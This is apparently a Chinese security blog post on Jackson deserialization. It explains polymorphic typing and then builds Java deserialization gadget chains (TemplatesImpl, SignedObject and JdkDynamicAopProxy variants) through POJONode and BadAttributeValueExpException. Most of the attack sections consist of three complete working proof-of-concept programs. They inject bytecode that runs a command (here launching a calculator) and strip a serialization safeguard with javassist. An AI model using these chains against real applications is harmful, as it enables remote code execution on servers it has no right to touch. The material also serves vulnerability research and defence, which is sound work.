简历
Jackson 是一个开源的Java序列化和反序列化工具,可以将 Java 对象序列化为 XML 或 JSON 格式的字符串,以及将 XML 或 JSON 格式的字符串反序列化为 Java 对象。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| <dependencies> <dependency> <groupId>com.fasterxml.jackson.core</groupId> <artifactId>jackson-databind</artifactId> <version>2.7.9</version> </dependency> <dependency> <groupId>com.fasterxml.jackson.core</groupId> <artifactId>jackson-core</artifactId> <version>2.7.9</version> </dependency> <dependency> <groupId>com.fasterxml.jackson.core</groupId> <artifactId>jackson-annotations</artifactId> <version>2.7.9</version> </dependency> </dependencies>
|
JacksonPolymorphicDeserialization 机制
即 Jackson 多态类型的反序列化:在反序列化某个类对象的过程中,如果类的成员变量不是具体类型(non-concrete),比如 Object、接口或抽象类,则可以在 JSON 字符串中指定其具体类型,Jackson 将生成具体类型的实例。
DefaultTyping
默认情况下,即无参数的 enableDefaultTyping 是第二个设置,OBJECT_AND_NON_CONCRETE
DefaultTyping类型 |
描述说明 |
JAVA_LANG_OBJECT |
属性的类型为Object |
OBJECT_AND_NON_CONCRETE |
属性的类型为Object、Interface、AbstractClass |
NON_CONCRETE_AND_ARRAYS |
属性的类型为Object、Interface、AbstractClass、Array |
NON_FINAL |
所有除了声明为final之外的属性 |
eg.
Person.java
1 2 3 4 5 6 7 8 9 10
| public class Person { public int age; public String name; public Object object;
@Override public String toString() { return String.format("Person.age=%d, Person.name=%s, %s", age, name, object == null ? "null" : object); } }
|
Hacker.java
1 2 3
| public class Hacker { public String skill = "hiphop"; }
|
JAVA_LANG_OBJECTTest.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| import com.fasterxml.jackson.databind.ObjectMapper;
public class JAVA_LANG_OBJECTTest { public static void main(String[] args) throws Exception { Person p = new Person(); p.age = 20; p.name = "jmx"; p.object = new Hacker(); ObjectMapper mapper = new ObjectMapper(); mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.JAVA_LANG_OBJECT);
String json = mapper.writeValueAsString(p); System.out.println(json);
Person p2 = mapper.readValue(json, Person.class); System.out.println(p2); } }
|
NON_LANG_OBJECT.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| import com.fasterxml.jackson.databind.ObjectMapper;
public class NON_LANG_OBJECT { public static void main(String[] args) throws Exception{ Person person=new Person(); person.age=20; person.name="jmx"; person.object=new Hacker(); ObjectMapper objectMapper=new ObjectMapper(); String json=objectMapper.writeValueAsString(person); System.out.println(json);
Person res=objectMapper.readValue(json, Person.class); System.out.println(res); } }
|
比较输出结果
1 2 3 4 5 6
| {"age":20,"name":"jmx","object":["Hacker",{"skill":"hiphop"}]} Person.age=20, Person.name=jmx, Hacker@643b1d11
{"age":20,"name":"jmx","object":{"skill":"hiphop"}} Person.age=20, Person.name=jmx, {skill=hiphop}
|
可以发现enableDefaultTyping的成功反序列化出Hacker这个Object实例
其他三个一样的改法,可以自行查看区别
@JsonTypeInfo 注解
有几个参数:
1 2 3 4 5
| JsonTypeInfo.Id.NONE JsonTypeInfo.Id.CLASS JsonTypeInfo.Id.MINIMAL_CLASS JsonTypeInfo.Id.NAME JsonTypeInfo.Id.CUSTOM
|
这里最后只有JsonTypeInfo.Id.CLASS
和JsonTypeInfo.Id.MINIMAL_CLASS
可以成功指定Object,触发漏洞
eg.
修改Person类,给Object属性添加注解
1 2 3 4 5 6 7 8 9 10 11 12 13
| import com.fasterxml.jackson.annotation.JsonTypeInfo;
public class Person { public int age; public String name; @JsonTypeInfo(use = JsonTypeInfo.Id.CLASS) public Object object;
@Override public String toString() { return String.format("Person.age=%d, Person.name=%s, %s", age, name, object == null ? "null" : object); } }
|
此时我们执行NON_LANG_OBJECT.java会发现Hacker被反序列化出来了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| import com.fasterxml.jackson.databind.ObjectMapper;
public class NON_LANG_OBJECT { public static void main(String[] args) throws Exception{ Person person=new Person(); person.age=20; person.name="jmx"; person.object=new Hacker(); ObjectMapper objectMapper=new ObjectMapper(); String json=objectMapper.writeValueAsString(person); System.out.println(json);
Person res=objectMapper.readValue(json, Person.class); System.out.println(res); } }
|
反序列化的结论:
在 Jackson 反序列化中,若调用了 enableDefaultTyping()
函数或使用 @JsonTypeInfo
注解指定反序列化得到的类的属性为 JsonTypeInfo.Id.CLASS
或 JsonTypeInfo.Id.MINIMAL_CLASS
,则会调用该属性的类的构造函数和 setter 方法。
漏洞
满足下面三个条件之一即存在Jackson反序列化漏洞:
- 调用了ObjectMapper.enableDefaultTyping()函数;
- 对要进行反序列化的类的属性使用了值为JsonTypeInfo.Id.CLASS的@JsonTypeInfo注解;
- 对要进行反序列化的类的属性使用了值为JsonTypeInfo.Id.MINIMAL_CLASS的@JsonTypeInfo注解;
这里有两个CVE,感兴趣的可以参考: https://xz.aliyun.com/t/12966原生的反序列化
TemplatesImpl链
BadAttributeValueExpException的构造方法调用val.toString()
,readObejct()也有toString()方法,通过反射修改val去调用POJONode.toString
,它没有这个方法去父类找找找到BaseJsonNode.toString()


然后调用InternalNodeMapper.nodeToString
方法

调用ObjectWriter.writeValueAsString
方法
一直跟进最后发现在BeanPropertyWriter.serializeAsField
方法完成com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties()
方法的调用

后面就是加载动态字节码了
三个坑:
- jackson的版本之前的好像不行,这里用的2.13.4,也可以开个springboot环境,它会自带jackson
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <dependency> <groupId>com.fasterxml.jackson.core</groupId> <artifactId>jackson-databind</artifactId> <version>2.13.4.2</version> </dependency> <dependency> <groupId>com.fasterxml.jackson.core</groupId> <artifactId>jackson-core</artifactId> <version>2.13.4</version> </dependency> <dependency> <groupId>com.fasterxml.jackson.core</groupId> <artifactId>jackson-annotations</artifactId> <version>2.13.4</version> </dependency>
|
BaseJsonNode有个writeReplace方法,它会在序列化的时候抛出一个NodeSerialization的错误,阻止我们构造payload,需要通过反射覆盖掉它或者删掉它

IDEA调试的时候走一步就弹出一个计算器,我们需要关掉调试的toString()视图

箭头指向的位置不要勾选
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90
| package org.example;
import com.fasterxml.jackson.databind.node.POJONode; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import javassist.ClassPool; import javassist.CtClass; import javassist.CtConstructor;
import com.fasterxml.jackson.databind.node.BaseJsonNode;
import javax.management.BadAttributeValueExpException; import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.Field; import java.net.URI; import java.security.*; import java.util.Base64; import javassist.CtMethod; public class test1 { public static void main(String[] args) throws Exception { try { ClassPool pool = ClassPool.getDefault(); CtClass jsonNode = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode"); CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace"); jsonNode.removeMethod(writeReplace); ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); jsonNode.toClass(classLoader, (ProtectionDomain)null); } catch (Exception var11) { } ClassPool pool = ClassPool.getDefault(); CtClass ctClass = pool.makeClass("a"); CtClass superClass = pool.get(AbstractTranslet.class.getName()); ctClass.setSuperclass(superClass); CtConstructor constructor = new CtConstructor(new CtClass[]{},ctClass); constructor.setBody("Runtime.getRuntime().exec(\"calc\");"); ctClass.addConstructor(constructor); byte[] bytes = ctClass.toBytecode(); Templates templatesImpl = new TemplatesImpl(); setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes}); setFieldValue(templatesImpl, "_name", "fakes0u1"); setFieldValue(templatesImpl, "_tfactory", null); POJONode jsonNodes = new POJONode(templatesImpl); BadAttributeValueExpException exp = new BadAttributeValueExpException(null); Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val"); val.setAccessible(true); val.set(exp,jsonNodes); ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr); objectOutputStream.writeObject(exp); FileOutputStream fout=new FileOutputStream("1.ser"); fout.write(barr.toByteArray()); fout.close(); FileInputStream fileInputStream = new FileInputStream("1.ser"); System.out.println(serial(exp)); deserial(serial(exp)); }
public static String serial(Object o) throws IOException, NoSuchFieldException { ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(o); oos.close();
String base64String = Base64.getEncoder().encodeToString(baos.toByteArray()); return base64String;
}
public static void deserial(String data) throws Exception { byte[] base64decodedBytes = Base64.getDecoder().decode(data); ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes); ObjectInputStream ois = new ObjectInputStream(bais); ois.readObject(); ois.close(); }
private static void Base64Encode(ByteArrayOutputStream bs){ byte[] encode = Base64.getEncoder().encode(bs.toByteArray()); String s = new String(encode); System.out.println(s); System.out.println(s.length()); } private static void setFieldValue(Object obj, String field, Object arg) throws Exception{ Field f = obj.getClass().getDeclaredField(field); f.setAccessible(true); f.set(obj, arg); } }
|
SignObject链
在Templates被ban的情况下 打二次反序列化
和第一个调用过程一样,这里SignedObject的getObject方法可以进行二次反序列化

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106
| package org.example;
import com.fasterxml.jackson.databind.node.POJONode; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import javassist.ClassPool; import javassist.CtClass; import javassist.CtConstructor; import javassist.CtMethod;
import javax.management.BadAttributeValueExpException; import java.io.*; import java.lang.reflect.Field; import java.net.URI; import java.security.*; import java.util.Base64;
public class test2 { public static void main(String[] args) throws Exception { try { ClassPool pool = ClassPool.getDefault(); CtClass jsonNode = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode"); CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace"); jsonNode.removeMethod(writeReplace); ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); jsonNode.toClass(classLoader, (ProtectionDomain)null); } catch (Exception var11) { } ClassPool pool = ClassPool.getDefault(); CtClass ctClass = pool.makeClass("a"); CtClass superClass = pool.get(AbstractTranslet.class.getName()); ctClass.setSuperclass(superClass); CtConstructor constructor = new CtConstructor(new CtClass[]{},ctClass); constructor.setBody("Runtime.getRuntime().exec(\"calc\");"); ctClass.addConstructor(constructor); byte[] bytes = ctClass.toBytecode(); TemplatesImpl templatesImpl = new TemplatesImpl(); setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes}); setFieldValue(templatesImpl, "_name", "fakes0u1"); setFieldValue(templatesImpl, "_tfactory", null); POJONode jsonNodes2 = new POJONode(templatesImpl); BadAttributeValueExpException exp2 = new BadAttributeValueExpException(null); Field val2 = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val"); val2.setAccessible(true); val2.set(exp2,jsonNodes2); KeyPairGenerator keyPairGenerator; keyPairGenerator = KeyPairGenerator.getInstance("DSA"); keyPairGenerator.initialize(1024); KeyPair keyPair = keyPairGenerator.genKeyPair(); PrivateKey privateKey = keyPair.getPrivate(); Signature signingEngine = Signature.getInstance("DSA"); SignedObject signedObject = new SignedObject(exp2,privateKey,signingEngine); POJONode jsonNodes = new POJONode(signedObject); BadAttributeValueExpException exp = new BadAttributeValueExpException(null); Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val"); val.setAccessible(true); val.set(exp,jsonNodes); ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr); objectOutputStream.writeObject(exp); FileOutputStream fout=new FileOutputStream("1.ser"); fout.write(barr.toByteArray()); fout.close(); FileInputStream fileInputStream = new FileInputStream("1.ser"); System.out.println(serial(exp)); deserial(serial(exp)); }
public static String serial(Object o) throws IOException, NoSuchFieldException { ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(o); oos.close();
String base64String = Base64.getEncoder().encodeToString(baos.toByteArray()); return base64String;
}
public static void deserial(String data) throws Exception { byte[] base64decodedBytes = Base64.getDecoder().decode(data); ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes); ObjectInputStream ois = new ObjectInputStream(bais); ois.readObject(); ois.close(); }
private static void Base64Encode(ByteArrayOutputStream bs){ byte[] encode = Base64.getEncoder().encode(bs.toByteArray()); String s = new String(encode); System.out.println(s); System.out.println(s.length()); } private static void setFieldValue(Object obj, String field, Object arg) throws Exception{ Field f = obj.getClass().getDeclaredField(field); f.setAccessible(true); f.set(obj, arg); } }
|
处理JACKSON链的不稳定性
我们在BeanSerializerBase.serializeFields()
方法下断点

这里循环遍历之前获取的props,依次调用它的getter方法,从图可以看出此时getOutputProperties是第一个,没问题,但是有些时候它可能不是第一个被调用的被排在了后面,就会提前报错,无法执行后面的恶意方法
这里的思路来源于ysoserial的JSON1链
有一个JdkDynamicAopProxy
类,我们通过观察它invoke方法可以发现

这个内置变量advised
,它是org.springframework.aop.framework.AdvisedSupport
类型的,它的targetSource是被代理的接口的实例类,我们需要代理的接口方法是Templates
接口的getOutputProperties
方法,它也只有这一个get方法,实例类可以设置成恶意的TemplatesImpl
类,它的getOutputProperties
方法是漏洞点
然后就是这个操作需要 Spring AOP依赖,如果我们是Springboot环境下的话就不要操心,默认自带
当走到BeanPropertyWriter.serializeAsField
方法时,我们可以发现成功代理恶意TemplatesImpl类的getOutputProperties方法

当调用这个方法时,会进入到Method.invoke()方法

一步步反射到JdkDynamicAopProxy的invoke()方法

在 AopUtils.invokeJoinpointUsingReflection
进一步调用

先设置accessible,然后调用恶意函数,进入到TemplatesImpl.getOutputProperties
方法

后面就是加载字节码了
poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94
| package org.example; import com.fasterxml.jackson.databind.node.POJONode; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import javassist.*; import org.springframework.aop.framework.AdvisedSupport; import javax.management.BadAttributeValueExpException; import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.security.ProtectionDomain; import java.util.Base64; public class json1 { public static void main(String[] args) throws Exception { try { ClassPool pool = ClassPool.getDefault(); CtClass jsonNode = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode"); CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace"); jsonNode.removeMethod(writeReplace); ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); jsonNode.toClass(classLoader, (ProtectionDomain)null); } catch (Exception var11) { }
ClassPool pool = ClassPool.getDefault(); CtClass ctClass = pool.makeClass("a"); CtClass superClass = pool.get(AbstractTranslet.class.getName()); ctClass.setSuperclass(superClass); CtConstructor constructor = new CtConstructor(new CtClass[]{},ctClass); constructor.setBody("Runtime.getRuntime().exec(\"calc\");"); ctClass.addConstructor(constructor); byte[] bytes = ctClass.toBytecode(); Templates templatesImpl = new TemplatesImpl(); setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes}); setFieldValue(templatesImpl, "_name", "fakes0u1"); setFieldValue(templatesImpl, "_tfactory", null);
AdvisedSupport advisedSupport=new AdvisedSupport(); advisedSupport.setTarget(templatesImpl); Constructor constructor1=Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class); constructor1.setAccessible(true); InvocationHandler handler=(InvocationHandler) constructor1.newInstance(advisedSupport); Object proxy= Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[] {Templates.class},handler); POJONode jsonNodes = new POJONode(proxy); BadAttributeValueExpException exp = new BadAttributeValueExpException(null); Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val"); val.setAccessible(true); val.set(exp,jsonNodes); ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr); objectOutputStream.writeObject(exp); FileOutputStream fout=new FileOutputStream("1.ser"); fout.write(barr.toByteArray()); fout.close(); FileInputStream fileInputStream = new FileInputStream("1.ser"); System.out.println(serial(exp)); deserial(serial(exp)); }
public static String serial(Object o) throws IOException, NoSuchFieldException { ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(o); oos.close();
String base64String = Base64.getEncoder().encodeToString(baos.toByteArray()); return base64String;
}
public static void deserial(String data) throws Exception { byte[] base64decodedBytes = Base64.getDecoder().decode(data); ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes); ObjectInputStream ois = new ObjectInputStream(bais); ois.readObject(); ois.close(); }
private static void Base64Encode(ByteArrayOutputStream bs){ byte[] encode = Base64.getEncoder().encode(bs.toByteArray()); String s = new String(encode); System.out.println(s); System.out.println(s.length()); } static void setFieldValue(Object obj, String field, Object arg) throws Exception{ Field f = obj.getClass().getDeclaredField(field); f.setAccessible(true); f.set(obj, arg); }
}
|
调试可发现此时就一个getOutputProperties,无差别调用

参考